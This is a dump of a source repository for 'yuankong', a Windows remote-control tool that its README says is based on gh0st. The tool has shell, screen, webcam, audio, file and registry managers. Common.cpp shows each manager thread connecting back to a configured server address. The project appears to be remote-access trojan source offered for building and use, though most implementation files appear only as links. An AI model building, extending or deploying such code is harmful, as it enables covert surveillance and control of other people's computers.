├── 2015Remote.sln ├── README.md ├── client ├── Audio.cpp ├── Audio.h ├── AudioManager.cpp ├── AudioManager.h ├── Buffer.cpp ├── Buffer.h ├── CaptureVideo.cpp ├── CaptureVideo.h ├── ClientDll.cpp ├── ClientDll.sln ├── ClientDll.vcxproj ├── ClientDll.vcxproj.filters ├── ClientDll.vcxproj.user ├── ClientDll_vs2015.vcxproj ├── Common.cpp ├── Common.h ├── CursorInfo.h ├── ExportFunTable.def ├── FileManager.cpp ├── FileManager.h ├── IOCPClient.cpp ├── IOCPClient.h ├── KernelManager.cpp ├── KernelManager.h ├── LoginServer.cpp ├── LoginServer.h ├── Manager.cpp ├── Manager.h ├── RegisterManager.cpp ├── RegisterManager.h ├── RegisterOperation.cpp ├── RegisterOperation.h ├── Res │ ├── ghost.ico │ ├── msg.ico │ └── msg.wav ├── ScreenManager.cpp ├── ScreenManager.h ├── ScreenSpy.cpp ├── ScreenSpy.h ├── Script.rc ├── ServicesManager.cpp ├── ServicesManager.h ├── ShellManager.cpp ├── ShellManager.h ├── StdAfx.cpp ├── StdAfx.h ├── SystemManager.cpp ├── SystemManager.h ├── TalkManager.cpp ├── TalkManager.h ├── TestRun.rc ├── TestRun.vcxproj ├── TestRun.vcxproj.filters ├── TestRun.vcxproj.user ├── TestRun_vs2015.vcxproj ├── VideoCodec.h ├── VideoManager.cpp ├── VideoManager.h ├── d3drm.h ├── d3drmdef.h ├── d3drmobj.h ├── dxtrans.h ├── ghost.vcxproj ├── ghost.vcxproj.filters ├── ghost.vcxproj.user ├── ghost_vs2015.vcxproj ├── lz4 │ ├── lz4.h │ └── lz4.lib ├── qedit.h ├── remote.ini ├── resource.h ├── resource1.h ├── test.cpp ├── zconf.h ├── zlib.h ├── zlib.lib └── zstd │ ├── zstd.h │ └── zstd.lib ├── server ├── 2015Remote.sln └── 2015Remote │ ├── 2015Remote.cpp │ ├── 2015Remote.h │ ├── 2015Remote.rc │ ├── 2015Remote.vcxproj │ ├── 2015Remote.vcxproj.filters │ ├── 2015Remote.vcxproj.user │ ├── 2015RemoteDlg.cpp │ ├── 2015RemoteDlg.h │ ├── 2015Remote_vs2015.vcxproj │ ├── Audio.cpp │ ├── Audio.h │ ├── AudioDlg.cpp │ ├── AudioDlg.h │ ├── Buffer.cpp │ ├── Buffer.h │ ├── BuildDlg.cpp │ ├── BuildDlg.h │ ├── CpuUseage.cpp │ ├── CpuUseage.h │ ├── EditDialog.cpp │ ├── EditDialog.h │ ├── FileManagerDlg.cpp │ ├── FileManagerDlg.h │ ├── FileTransferModeDlg.cpp │ ├── FileTransferModeDlg.h │ ├── IOCPServer.cpp │ ├── IOCPServer.h │ ├── InputDlg.cpp │ ├── InputDlg.h │ ├── RegisterDlg.cpp │ ├── RegisterDlg.h │ ├── ScreenSpyDlg.cpp │ ├── ScreenSpyDlg.h │ ├── ServicesDlg.cpp │ ├── ServicesDlg.h │ ├── SettingDlg.cpp │ ├── SettingDlg.h │ ├── ShellDlg.cpp │ ├── ShellDlg.h │ ├── SystemDlg.cpp │ ├── SystemDlg.h │ ├── TalkDlg.cpp │ ├── TalkDlg.h │ ├── TrueColorToolBar.cpp │ ├── TrueColorToolBar.h │ ├── VideoDlg.cpp │ ├── VideoDlg.h │ ├── gh0st2Remote.h │ ├── iniFile.cpp │ ├── iniFile.h │ ├── lz4 │ ├── lz4.h │ └── lz4.lib │ ├── res │ ├── 1.cur │ ├── 2.cur │ ├── 2015Remote.ico │ ├── 3.cur │ ├── 4.cur │ ├── Bitmap │ │ ├── Online.bmp │ │ ├── ToolBar_File.bmp │ │ ├── ToolBar_Main.bmp │ │ ├── bmp00001.bmp │ │ └── toolbar1.bmp │ ├── Bitmap_4.bmp │ ├── Bitmap_5.bmp │ ├── Cur │ │ ├── Drag.cur │ │ └── MutiDrag.cur │ ├── My2015Remote.rc2 │ ├── arrow.cur │ ├── audio.ico │ ├── cmdshell.ico │ ├── dot.cur │ ├── dword.ico │ ├── file.ico │ ├── gh0st.ico │ ├── gh0st.rc2 │ ├── keyboard.ico │ ├── pc.ico │ ├── string.ico │ ├── system.ico │ ├── toolbar1.bmp │ ├── toolbar2.bmp │ └── webcam.ico │ ├── resource.h │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ ├── zconf.h │ ├── zlib.h │ ├── zlib.lib │ └── zstd │ ├── zstd.h │ └── zstd.lib ├── 使用方法.txt └── 使用花生壳.txt /2015Remote.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" 11 | ProjectSection(ProjectDependencies) = postProject 12 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} 13 | EndProjectSection 14 | EndProject 15 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" 16 | EndProject 17 | Global 18 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 19 | Debug|x86 = Debug|x86 20 | Release|x86 = Release|x86 21 | EndGlobalSection 22 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 23 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32 24 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32 25 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32 26 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32 27 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32 28 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32 29 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32 30 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32 31 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32 32 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32 33 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32 34 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32 35 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32 36 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32 37 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32 38 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32 39 | EndGlobalSection 40 | GlobalSection(SolutionProperties) = preSolution 41 | HideSolutionNode = FALSE 42 | EndGlobalSection 43 | EndGlobal 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # yuankong 2 | [简介] 3 | 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、远程桌面、文件管理、语音管理、视频管理、服务管理、注册表管理等功能,优化全部代码及整理排版,修复内存泄漏缺陷,程序运行稳定。 4 | 编译使用方法:详见使用方法.txt 5 | -------------------------------------------------------------------------------- /client/Audio.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Audio.cpp -------------------------------------------------------------------------------- /client/Audio.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Audio.h -------------------------------------------------------------------------------- /client/AudioManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/AudioManager.cpp -------------------------------------------------------------------------------- /client/AudioManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/AudioManager.h -------------------------------------------------------------------------------- /client/Buffer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Buffer.cpp -------------------------------------------------------------------------------- /client/Buffer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Buffer.h -------------------------------------------------------------------------------- /client/CaptureVideo.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/CaptureVideo.cpp -------------------------------------------------------------------------------- /client/CaptureVideo.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/CaptureVideo.h -------------------------------------------------------------------------------- /client/ClientDll.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ClientDll.cpp -------------------------------------------------------------------------------- /client/ClientDll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32 14 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32 15 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /client/ClientDll.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} 15 | ClientDll 16 | ServerDll 17 | 8.1 18 | 19 | 20 | 21 | DynamicLibrary 22 | true 23 | v110_xp 24 | MultiByte 25 | false 26 | 27 | 28 | DynamicLibrary 29 | false 30 | v110_xp 31 | true 32 | MultiByte 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | $(WindowsSDK_IncludePath);$(IncludePath) 46 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 47 | 48 | 49 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 50 | $(WindowsSDK_IncludePath);$(IncludePath) 51 | 52 | 53 | 54 | Level3 55 | Disabled 56 | ./;%(AdditionalIncludeDirectories) 57 | MultiThreadedDebug 58 | ZLIB_WINAPI;%(PreprocessorDefinitions) 59 | true 60 | false 61 | 62 | 63 | true 64 | zlib.lib;%(AdditionalDependencies) 65 | libcmt.lib 66 | 67 | 68 | 69 | 70 | Level3 71 | MaxSpeed 72 | true 73 | true 74 | MultiThreaded 75 | ./;%(AdditionalIncludeDirectories) 76 | ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 77 | true 78 | 79 | 80 | true 81 | true 82 | true 83 | zlib.lib;%(AdditionalDependencies) 84 | /SAFESEH:NO %(AdditionalOptions) 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /client/ClientDll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 源文件 26 | 27 | 28 | 源文件 29 | 30 | 31 | 源文件 32 | 33 | 34 | 源文件 35 | 36 | 37 | 源文件 38 | 39 | 40 | 源文件 41 | 42 | 43 | 源文件 44 | 45 | 46 | 源文件 47 | 48 | 49 | 源文件 50 | 51 | 52 | 源文件 53 | 54 | 55 | 源文件 56 | 57 | 58 | 源文件 59 | 60 | 61 | 源文件 62 | 63 | 64 | 源文件 65 | 66 | 67 | 源文件 68 | 69 | 70 | 源文件 71 | 72 | 73 | 源文件 74 | 75 | 76 | 源文件 77 | 78 | 79 | 源文件 80 | 81 | 82 | 83 | 84 | 头文件 85 | 86 | 87 | 头文件 88 | 89 | 90 | 头文件 91 | 92 | 93 | 头文件 94 | 95 | 96 | 头文件 97 | 98 | 99 | 头文件 100 | 101 | 102 | 头文件 103 | 104 | 105 | 头文件 106 | 107 | 108 | 头文件 109 | 110 | 111 | 头文件 112 | 113 | 114 | 头文件 115 | 116 | 117 | 头文件 118 | 119 | 120 | 头文件 121 | 122 | 123 | 头文件 124 | 125 | 126 | 头文件 127 | 128 | 129 | 头文件 130 | 131 | 132 | 头文件 133 | 134 | 135 | 头文件 136 | 137 | 138 | 头文件 139 | 140 | 141 | 头文件 142 | 143 | 144 | 头文件 145 | 146 | 147 | 头文件 148 | 149 | 150 | 头文件 151 | 152 | 153 | 头文件 154 | 155 | 156 | 头文件 157 | 158 | 159 | 160 | 161 | 资源文件 162 | 163 | 164 | 165 | 166 | 资源文件 167 | 168 | 169 | 170 | 171 | 资源文件 172 | 173 | 174 | 175 | 176 | 资源文件 177 | 178 | 179 | 资源文件 180 | 181 | 182 | -------------------------------------------------------------------------------- /client/ClientDll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | $(TargetDir)\TestRun.exe 5 | WindowsLocalDebugger 6 | 7 | 8 | $(TargetDir)\TestRun.exe 9 | WindowsLocalDebugger 10 | 11 | -------------------------------------------------------------------------------- /client/ClientDll_vs2015.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} 15 | ClientDll 16 | ServerDll 17 | 8.1 18 | 19 | 20 | 21 | DynamicLibrary 22 | true 23 | v140_xp 24 | MultiByte 25 | false 26 | 27 | 28 | DynamicLibrary 29 | false 30 | v140_xp 31 | true 32 | MultiByte 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | $(WindowsSDK_IncludePath);$(IncludePath) 46 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 47 | $(Configuration)\dll 48 | 49 | 50 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 51 | $(WindowsSDK_IncludePath);$(IncludePath) 52 | $(Configuration)\dll 53 | 54 | 55 | 56 | Level3 57 | Disabled 58 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 59 | MultiThreadedDebug 60 | ZLIB_WINAPI;%(PreprocessorDefinitions) 61 | true 62 | false 63 | 64 | 65 | true 66 | zlib.lib;%(AdditionalDependencies) 67 | libcmt.lib 68 | 69 | 70 | 71 | 72 | Level3 73 | MaxSpeed 74 | true 75 | true 76 | MultiThreaded 77 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 78 | ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 79 | true 80 | 81 | 82 | true 83 | true 84 | true 85 | zlib.lib;%(AdditionalDependencies) 86 | /SAFESEH:NO %(AdditionalOptions) 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /client/Common.cpp: -------------------------------------------------------------------------------- 1 | #include "StdAfx.h" 2 | #include "Common.h" 3 | 4 | #include "ScreenManager.h" 5 | #include "FileManager.h" 6 | #include "TalkManager.h" 7 | #include "ShellManager.h" 8 | #include "SystemManager.h" 9 | #include "AudioManager.h" 10 | #include "RegisterManager.h" 11 | #include "ServicesManager.h" 12 | #include "VideoManager.h" 13 | #include "KernelManager.h" 14 | 15 | extern char g_szServerIP[MAX_PATH]; 16 | extern unsigned short g_uPort; 17 | 18 | HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, 19 | SIZE_T dwStackSize, 20 | LPTHREAD_START_ROUTINE StartAddress, 21 | LPVOID lParam, 22 | DWORD dwCreationFlags, 23 | LPDWORD ThreadId, bool bInteractive) 24 | { 25 | HANDLE hThread = INVALID_HANDLE_VALUE; 26 | THREAD_ARG_LIST ThreadArgList = {0}; 27 | ThreadArgList.StartAddress = StartAddress; 28 | ThreadArgList.lParam = (void *)lParam; //IP 29 | ThreadArgList.bInteractive = bInteractive; //?? 30 | ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL); 31 | hThread = (HANDLE)CreateThread(SecurityAttributes, 32 | dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, 33 | dwCreationFlags, (LPDWORD)ThreadId); 34 | 35 | WaitForSingleObject(ThreadArgList.hEvent, INFINITE); 36 | CloseHandle(ThreadArgList.hEvent); 37 | 38 | return hThread; 39 | } 40 | 41 | DWORD WINAPI ThreadProc(LPVOID lParam) 42 | { 43 | THREAD_ARG_LIST ThreadArgList = {0}; 44 | memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); 45 | SetEvent(ThreadArgList.hEvent); 46 | 47 | DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); 48 | return dwReturn; 49 | } 50 | 51 | template DWORD WINAPI LoopManager(LPVOID lParam) 52 | { 53 | ThreadInfo *pInfo = (ThreadInfo *)lParam; 54 | IOCPClient *ClientObject = pInfo->p; 55 | if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) 56 | { 57 | Manager m(ClientObject, n); 58 | ClientObject->RunEventLoop(pInfo->run); 59 | } 60 | delete ClientObject; 61 | pInfo->p = NULL; 62 | 63 | return 0; 64 | } 65 | 66 | DWORD WINAPI LoopScreenManager(LPVOID lParam) 67 | { 68 | return LoopManager(lParam); 69 | } 70 | 71 | DWORD WINAPI LoopFileManager(LPVOID lParam) 72 | { 73 | return LoopManager(lParam); 74 | } 75 | 76 | DWORD WINAPI LoopTalkManager(LPVOID lParam) 77 | { 78 | return LoopManager(lParam); 79 | } 80 | 81 | DWORD WINAPI LoopShellManager(LPVOID lParam) 82 | { 83 | return LoopManager(lParam); 84 | } 85 | 86 | DWORD WINAPI LoopProcessManager(LPVOID lParam) 87 | { 88 | return LoopManager(lParam); 89 | } 90 | 91 | DWORD WINAPI LoopWindowManager(LPVOID lParam) 92 | { 93 | return LoopManager(lParam); 94 | } 95 | 96 | DWORD WINAPI LoopVideoManager(LPVOID lParam) 97 | { 98 | return LoopManager(lParam); 99 | } 100 | 101 | DWORD WINAPI LoopAudioManager(LPVOID lParam) 102 | { 103 | return LoopManager(lParam); 104 | } 105 | 106 | DWORD WINAPI LoopRegisterManager(LPVOID lParam) 107 | { 108 | return LoopManager(lParam); 109 | } 110 | 111 | DWORD WINAPI LoopServicesManager(LPVOID lParam) 112 | { 113 | return LoopManager(lParam); 114 | } 115 | -------------------------------------------------------------------------------- /client/Common.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Common.h -------------------------------------------------------------------------------- /client/CursorInfo.h: -------------------------------------------------------------------------------- 1 | // CursorInfor.h: interface for the CCursorInfor class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_) 6 | #define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #define MAX_CURSOR_TYPE 16 13 | 14 | class CCursorInfo 15 | { 16 | private: 17 | LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE]; 18 | HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE]; 19 | 20 | public: 21 | CCursorInfo() 22 | { 23 | LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = 24 | { 25 | IDC_APPSTARTING, 26 | IDC_ARROW, 27 | IDC_CROSS, 28 | IDC_HAND, 29 | IDC_HELP, 30 | IDC_IBEAM, 31 | IDC_ICON, 32 | IDC_NO, 33 | IDC_SIZE, 34 | IDC_SIZEALL, 35 | IDC_SIZENESW, 36 | IDC_SIZENS, 37 | IDC_SIZENWSE, 38 | IDC_SIZEWE, 39 | IDC_UPARROW, 40 | IDC_WAIT 41 | }; 42 | 43 | for (int i = 0; i < MAX_CURSOR_TYPE; ++i) 44 | { 45 | m_CursorResArray[i] = CursorResArray[i]; 46 | m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]); 47 | } 48 | } 49 | 50 | virtual ~CCursorInfo() 51 | { 52 | for (int i = 0; i < MAX_CURSOR_TYPE; ++i) 53 | DestroyCursor(m_CursorHandleArray[i]); 54 | } 55 | 56 | int getCurrentCursorIndex() 57 | { 58 | CURSORINFO ci; 59 | ci.cbSize = sizeof(CURSORINFO); 60 | if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) 61 | return -1; 62 | 63 | int i; 64 | for (i = 0; i < MAX_CURSOR_TYPE; ++i) 65 | { 66 | if (ci.hCursor == m_CursorHandleArray[i]) 67 | break; 68 | } 69 | DestroyCursor(ci.hCursor); 70 | 71 | int nIndex = i == MAX_CURSOR_TYPE ? -1 : i; 72 | return nIndex; 73 | } 74 | 75 | HCURSOR getCursorHandle( int nIndex ) 76 | { 77 | if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) 78 | return m_CursorHandleArray[nIndex]; 79 | else 80 | return NULL; 81 | } 82 | }; 83 | 84 | 85 | #endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_) 86 | -------------------------------------------------------------------------------- /client/ExportFunTable.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | TestRun 3 | StopRun 4 | -------------------------------------------------------------------------------- /client/FileManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/FileManager.cpp -------------------------------------------------------------------------------- /client/FileManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/FileManager.h -------------------------------------------------------------------------------- /client/IOCPClient.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/IOCPClient.cpp -------------------------------------------------------------------------------- /client/IOCPClient.h: -------------------------------------------------------------------------------- 1 | // IOCPClient.h: interface for the IOCPClient class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) 6 | #define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include 13 | #include 14 | #include 15 | #include "Buffer.h" 16 | #include "Manager.h" 17 | 18 | #pragma comment(lib,"ws2_32.lib") 19 | 20 | #define MAX_RECV_BUFFER 1024*32 21 | #define MAX_SEND_BUFFER 1024*32 22 | #define FLAG_LENGTH 5 23 | #define HDR_LENGTH 13 24 | 25 | enum { S_STOP = 0, S_RUN, S_END }; 26 | 27 | class IOCPClient 28 | { 29 | public: 30 | IOCPClient(bool exit_while_disconnect = false); 31 | virtual ~IOCPClient(); 32 | SOCKET m_sClientSocket; 33 | 34 | BOOL m_bWorkThread; 35 | HANDLE m_hWorkThread; 36 | 37 | BOOL ConnectServer(char* szServerIP, unsigned short uPort); 38 | static DWORD WINAPI WorkThreadProc(LPVOID lParam); 39 | 40 | VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); 41 | BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); 42 | BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); 43 | 44 | BOOL IsRunning() const 45 | { 46 | return m_bIsRunning; 47 | } 48 | 49 | BOOL m_bIsRunning; 50 | BOOL m_bConnected; 51 | 52 | char m_szPacketFlag[FLAG_LENGTH + 3]; 53 | 54 | VOID setManagerCallBack(CManager* Manager); 55 | 56 | VOID Disconnect(); 57 | VOID RunEventLoop(const BOOL &bCondition); 58 | bool IsConnected() const { return m_bConnected == TRUE; } 59 | 60 | public: 61 | CManager* m_Manager; 62 | CRITICAL_SECTION m_cs; 63 | bool m_exit_while_disconnect; 64 | }; 65 | 66 | #endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) 67 | -------------------------------------------------------------------------------- /client/KernelManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/KernelManager.cpp -------------------------------------------------------------------------------- /client/KernelManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/KernelManager.h -------------------------------------------------------------------------------- /client/LoginServer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/LoginServer.cpp -------------------------------------------------------------------------------- /client/LoginServer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/LoginServer.h -------------------------------------------------------------------------------- /client/Manager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Manager.cpp -------------------------------------------------------------------------------- /client/Manager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Manager.h -------------------------------------------------------------------------------- /client/RegisterManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/RegisterManager.cpp -------------------------------------------------------------------------------- /client/RegisterManager.h: -------------------------------------------------------------------------------- 1 | // RegisterManager.h: interface for the CRegisterManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) 6 | #define 